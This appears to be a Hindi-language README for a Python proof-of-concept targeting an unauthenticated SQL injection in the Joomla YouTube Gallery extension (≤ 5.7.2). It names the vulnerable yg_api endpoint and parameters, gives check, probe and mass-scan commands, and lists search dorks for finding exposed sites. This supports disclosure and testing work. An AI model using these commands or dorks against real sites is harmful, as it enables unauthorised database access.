murrez/cve-2026-94130Joomla YouTube Gallery (com_youtubegallery) ≤ 5.7.2 में सार्वजनिक yg_api search और sort पैरामीटर के माध्यम से अनऑथेंटिकेटेड SQL इंजेक्शन की जाँच और शोषण करने वाला Python PoC।
CVE-2026-94130 के लिए Python 3 PoC — YouTube Gallery (com_youtubegallery, joomlaboat.com)।
CVE-2026-94130 — Joomla ≤ 5.7.2 के लिए YouTube Gallery वीडियो खोज और सॉर्टिंग अनुरोध प्रबंधन में अप्रमाणित SQL इंजेक्शन (CWE-89, CVSS 4.0 9.3 Critical) की अनुमति देता है। हमलावर लॉगिन के बिना रीड क्वेरीज़ में SQL इंजेक्ट कर सकते हैं। 5.7.3 में ठीक किया गया (सितंबर 2026)।
PoC पृष्ठ: https://pocbit.org/pocs/cve-2026-94130
कैटलॉग: https://pocbit.org/pocs/
| उत्पाद | Joomla के लिए YouTube Gallery एक्सटेंशन |
| घटक | com_youtubegallery |
| प्रभावित | 1.0.0 – 5.7.2 |
| ठीक किया गया | 5.7.3 |
| वेक्टर | सार्वजनिक गैलरी / yg_api=1 JSON API; पैरामीटर में ygsearchfields, ygsearchquery, सॉर्ट-संबंधित GET पैरामीटर शामिल हैं |
| आवंटक | Joomla CNA |
pip install -r requirements.txt
python poc.py -u https://joomla.example --mode check
python poc.py -u https://joomla.example --mode check --sqli-probe --listid 1 --themeid 1
python poc.py -u https://joomla.example --mode check --scan-ids --sqli-probe --delay 5
python poc.py --list targets.example.txt --mode check -j 10 --sqli-probe
उदाहरण API सतह (वैध listid + themeid आवश्यक):
/index.php?option=com_youtubegallery&view=youtubegallery&listid=1&themeid=1&yg_api=1
&ygsearchfields=es_title&ygsearchquery=...
body="com_youtubegallery"
inurl:"option=com_youtubegallery"
सार्वजनिक yg_api एंडपॉइंट पर वीडियो खोज/सॉर्ट के माध्यम से Joomla YouTube Gallery (joomlaboat.com) ≤ 5.7.2 में अप्रमाणित SQL इंजेक्शन। Python जाँच/शोषण PoC — PoCbit।
CVE-2026-94130: Joomla YouTube Gallery प्लगइन (≤ 5.7.2) में अन-ऑथेंटिकेटेड SQL इंजेक्शन; खोज और सॉर्टिंग अनुरोधों के माध्यम से डेटाबेस पढ़ने वाली क्वेरीज़ में हस्तक्षेप। 5.7.3 में ठीक किया गया। CVSS 4.0 9.3 Critical।
केवल अधिकृत परीक्षण। --sqli-probe / --mode exploit जानबूझकर SQL पेलोड भेजते हैं (SLEEP सहित)।